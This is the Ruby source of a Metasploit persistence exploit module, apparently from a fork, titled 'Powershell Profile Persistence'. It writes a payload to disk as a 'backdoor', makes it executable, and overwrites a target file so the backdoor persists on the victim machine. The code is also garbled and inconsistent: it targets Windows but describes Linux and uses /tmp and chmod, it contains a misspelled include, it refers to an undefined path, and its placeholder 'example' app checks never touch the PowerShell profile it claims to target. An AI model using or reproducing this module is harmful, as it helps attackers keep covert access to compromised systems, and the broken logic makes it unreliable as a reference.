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metasploit-gs/modules/exploits/windows/persistence/powershell_profile.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
# includes writable?, upload_file, upload_and_chmodx, exploit_data
include Msf::Post::File
# includes pwsh
inlude Msft::Exploit::Powershell
# includes generate_payload_exe
include Msf::Exploit::EXE
# defines install_persistence and does our cleanup
# WritableDir
include Msf::Exploit::Local::Persistence
# runs check automatically
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Powershell Profile Persistence',
'Description' => %q{
This exploit sample shows how a persistence module could be written
for a linux computer.
},
'License' => MSF_LICENSE,
'Author' => [
'madefourit',
'researcher'
],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1546_013_POWERSHELL_PROFILE],
[ 'URL', 'https://pentestlab.blog/2019/11/05/persistence-powershell-profile/'],
],
'DisclosureDate' => '2019-11-05',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
# force exploit is used to bypass the check command results
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptEnum.new('PROFILE', [true, 'The powershell profile to target.', 'AUTO', ['AUTO', 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST']
])
]
end
def check
# Check a example app is installed
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
return CheckCode::Safe('example app is required') unless command_exists?('example')
CheckCode::Detected('example app is installed')
end
#
# The install_persistence method installs the persistence, starts the handler, and does all
# the main activities
#
def install_persistence
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
backdoor = "#{path}/#{file_name}"
vprint_status("Writing backdoor to #{backdoor}")
# if an arch_cmd payload is selected, write and chmod the file
# if an exe payload is selected, write it as an executable file
if payload.arch.first == 'cmd'
write_file(backdoor, payload.encoded)
chmod(backdoor, 0o755)
else
upload_and_chmodx backdoor, generate_payload_exe
end
# add removing the file to the cleanup script. The script starts as nil, so we want to overwrite it to a string
@clean_up_rc = "rm #{backdoor}\n"
# back up an example file that we're going to write into so we can restore it
# in our cleanup efforts
example_file = read_file('/tmp/example_file')
backup_file = store_loot('example.file', 'text/plain', session, example_file, 'example_file', '/tmp/example_file backup')
print_status("Created /tmp/example_file backup: #{backup_file}")
# @clean_up_rc is our instance variable string that tracks what needs to be done to remove the persistence by the user.
@clean_up_rc << "upload #{backup_file} /tmp/example_file\n"
write_file('/tmp/example_file', backdoor)
# the cleanup script will automatically be printed when the module is finished
end
end